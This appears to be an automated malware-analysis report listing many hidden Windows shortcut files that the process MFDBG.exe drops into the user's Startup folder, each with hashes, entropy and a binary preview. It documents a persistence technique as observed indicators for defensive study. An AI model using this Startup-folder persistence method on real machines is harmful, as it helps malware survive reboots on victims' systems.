File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927518930135735
Encrypted:	false
SSDEEP:	24:8kBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A7BB4DB5A4BB9F14B9C9E7BDF7CDFBD7
SHA1:	CEE1F7FACCFB828A7FA553C5589BF1DBF8DBD457
SHA-256:	5F6C02E9BDEC8EBD4EB8E348D6339F9BC09DE762C3C5C15B46C746A118DBD0C1
SHA-512:	103E3484711E635C135B0F32904FC4D3C424E059E20395CC45CC26741B62EE9E4A43BF9EB2C86C67E9ED2BF1006A87B05A179F12B10605AA57FE44F07A70FADF
Malicious:	false
Preview:	L..................F....".......d...G..Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9ea650f6efad4b6d9b80bb69ba4a6548.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917503013347851
Encrypted:	false
SSDEEP:	24:8F2Bfi8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8yHEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8E5A06ABBA8F9B563456DE1344F93664
SHA1:	D007F53198A1641B3C39211F225919C6C14A7EE3
SHA-256:	CC024F0087A5E95696028788B85FAB352DC963A067E3AB6C4B4AB36F4FEAFBC4
SHA-512:	B9B665A164D99BC908F64275D0507AEB5840E36EEF113979FD425B35D116F36EAB7C219587181B30634B017668DCB4155E21F962F0413667234512BD8C2612A8
Malicious:	false
Preview:	L..................F....".......d...x..\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....8.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9ec2deb96c524edcaba67333e38e9c6e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:53 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919905050343921
Encrypted:	false
SSDEEP:	24:8FprBf08EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8bd5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	7DFF8252FDC0800B5452D58A749E831D
SHA1:	D765F1A7F42EAE1853A80CE8AA7A52F8F3A35A0C
SHA-256:	5FB52A68C2D832B8C72B4F2753DC39B88C92812F42545A0FEFED72AA413B29B4
SHA-512:	62DB06BC6702D200AF57C25BF59C452D1F7BE6A32C4CAB1839911EBFCBD5526D6C74EB0B78195104E9DB89BD54D6C715F94CCB5A51EA86B9B3766D3DD168BD27
Malicious:	false
Preview:	L..................F....".......d.....c=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...z.D=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9ee746b57d0e45d7980ef0913e3836cd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9336832142082905
Encrypted:	false
SSDEEP:	24:8gBf+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8u7EvZ0yRO7DLO2zdxdRd1kyg
MD5:	59CB2E12BAA74AD4DBC68FBCA4421155
SHA1:	0C78CF822A574D452F8CC89F0A149FEA8E1C8469
SHA-256:	7C663EE14351A84767DFA7739CCB2074BEF6B231E4E425BF70E15C0D2C9A0D0F
SHA-512:	65AB53A05AC81FE32B04C823D17ACB5EC42F017C6D095B4FA66C2114CF00476D3F3C600344A866AEE7EB9237AECA0BECF5BB715B29AB280B23FFB3EB766ECCF9
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9f48497a5e9f4e24864ca43e39ad5ae8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923040413015361
Encrypted:	false
SSDEEP:	24:8D3Bfq8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8DRPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	46A6903A6C4D2A4D22F6C644DC2FBC2C
SHA1:	991C27EE34E034B0C3B2C82D82E597258678B923
SHA-256:	AE6B4E0D20BEFAE68862C307BF04A2464018C7D3CEAD5A8D207D223277ABF7CD
SHA-512:	427105E2488440A9CB88EC8A9B0204485493DE219430A44B0D82FA67D2CB17E752AED4C5D051E4DAD60E2F8BCB12EBD1034EF86B3DA9161F32B27A6FBFFC2A6E
Malicious:	false
Preview:	L..................F....".......d...S..]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9f4a7b05964141f69eb77316edfca1ad.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926597889115809
Encrypted:	false
SSDEEP:	24:8gBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8u4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	7F8F560F1D2D8E32010F33BBC5BAFDEF
SHA1:	824DEF6E35400EB48BEDD61DE5B7698A841790B9
SHA-256:	699E3AE2B13666B03ADAAAF5D52604B85AA643799F37D375B2430CFF4769EBBC
SHA-512:	6ACCF1395745B131C1386AF033F775080C45A0C4CAB4D33EB2EB2471A9FA20AE541A9787217887FEE83FD776F921DFB5200BC468E5003CDEE7BD8632978548A3
Malicious:	false
Preview:	L..................F....".......d...*.W}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....U}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9fc9981daae74273b04e3b5813566c17.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922647831917971
Encrypted:	false
SSDEEP:	24:8t2BfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8t8DEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CC06A69ACBAA8A49110749259C33C37E
SHA1:	04D73598D0C781027ED66F357211DC2686482DB7
SHA-256:	67DEB4C27CAA640F86CEA8810847024DFA6DA2B5452E7F199687E51F2F402E30
SHA-512:	040659831545B12EEE35CEC2C7A8EF8A25854C4AAA9506B333C76273C4F1AEF4FC322E8806A9BB1CDDA7F920E093251F3E81BEE4D7539EE2CA0126F3C2EDA83C
Malicious:	false
Preview:	L..................F....".......d...J..\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...)..\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a055f6b80ecb4a69a70a72fc1590db41.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924551471497629
Encrypted:	false
SSDEEP:	24:8uQBfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8PaQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A8039C741172426320A42D09F083E359
SHA1:	9595F043B1B7AA5AF891976066C322964B26DAA3
SHA-256:	9221663632D67316FCD3F27F4D613264B99A95F9E4495D23FB03AF3610161816
SHA-512:	0AED97653506EFD7AF21D8CA13489C3678A06C3B41463E8AE20A547E51522E3A54C1B181999453FC858E7C56478864280807CD70ED8A66F90594A1FB7FE1DBB9
Malicious:	false
Preview:	L..................F....".......d......:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0b0c96f8bcf40578ff25e3f00df5dbe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917398355248339
Encrypted:	false
SSDEEP:	24:8hQBfMYH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8heUJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5B677D524A67C852930688F9536EECFA
SHA1:	5DFCB224C56A5C2CF1645AA779541B871700CCAE
SHA-256:	8D436D84D032E64A94EC2B36FB359D69C4D897709932D345C3169BF2019FF607
SHA-512:	CD80E510EEB949E8DC19A364D912C35B874268C88AC6EB332E1544298B5BB17199BBE5BBDC1D41E32980B29FB94160C7646DD653045797482DE6627350BC2276
Malicious:	false
Preview:	L..................F....".......d.....)\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0b117534fab4cd28824eb3b06b4a958.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.913919012812076
Encrypted:	false
SSDEEP:	24:8jBfp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8lGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6DEEE7C975CC271EEDC858FBA1FE355B
SHA1:	58D4DAFB123A09788FD934093F6F9B30DC36C740
SHA-256:	13E9D1A06D002764C3292B1DBEBFA62642EB00BD5DE2D9840AE281014386F0B3
SHA-512:	242075B27A13B2FC6DC372A15D237BE38A18AC8B9701309687BED101E0F519FD2D2610EECBCA9F96AE273CD4673B4758A974DEAE32AFCB414B10A6150F411AAD
Malicious:	false
Preview:	L..................F....".......d...Y..Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Y..Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0bab353ec9e45b9a72b7a63a3a781b7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:53 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918898439713906
Encrypted:	false
SSDEEP:	24:8V02BfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8e8WEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8948B52A8809816DF1C14BB1E36CD121
SHA1:	3D01AB2FC99DF5F3AE399C788D497E4288D4710E
SHA-256:	49EA8670DB22952BB420ADF044540B794D0E91B77CAA23D5E93E19D348228858
SHA-512:	B721D085B7BF1F38D20D6EC8EB9BAC4501CD0F6B62B5D02CE0C1DEDFCCC6A5477D186B370007FA7EB0E27A3F9E03DA160372D7D45D36F14FA380CDBA3D0F9D85
Malicious:	false
Preview:	L..................F....".......d...(. =d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0c93ecce37d4ecfb8fee6e58d507231.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.911620200219704
Encrypted:	false
SSDEEP:	24:8muBfr8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8mEgEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4F7C7EE5C88EE0B852B3A5F3EE259C61
SHA1:	15E505AE88EC878B85DB574272549401245710CD
SHA-256:	0AEFEB4842734E1865AFF70B55FD06B801709991EA325C830AC1A944B0F90387
SHA-512:	ECBD0F5C7A6496BF38C16A7C5BF1BBE5FF72F1996BF18740EAE6F42502A24D327EA52583D5543B39648CE6E7F1B4544BEE3DD861A96819E0F3C52A588949BF4B
Malicious:	false
Preview:	L..................F....".......d...1.w\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....p\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0cc381d134e44efb0e5589999aae5db.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.909514156584847
Encrypted:	false
SSDEEP:	24:8dBfr8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8PgEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DA026E2265C8329630826ABA6FEBD6F5
SHA1:	6F6A8C8E7E0F2FBF507496372C2ED672FAF04030
SHA-256:	79DA32446ECB4648615C72537B4F19AA1F1A2136EDAFFFCA74A5DCCEAE1D232E
SHA-512:	AEB1312AA132DED95C0F2F8126D3B207724DDE9EA1400311F32E97015E65398E27E8826511C1F28FF4273923DB5F7C3155C0C96DE08703CA55CDB835F6296CD5
Malicious:	false
Preview:	L..................F....".......d.....p\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....p\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0d82c8031be4e069f3441a9159c1231.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
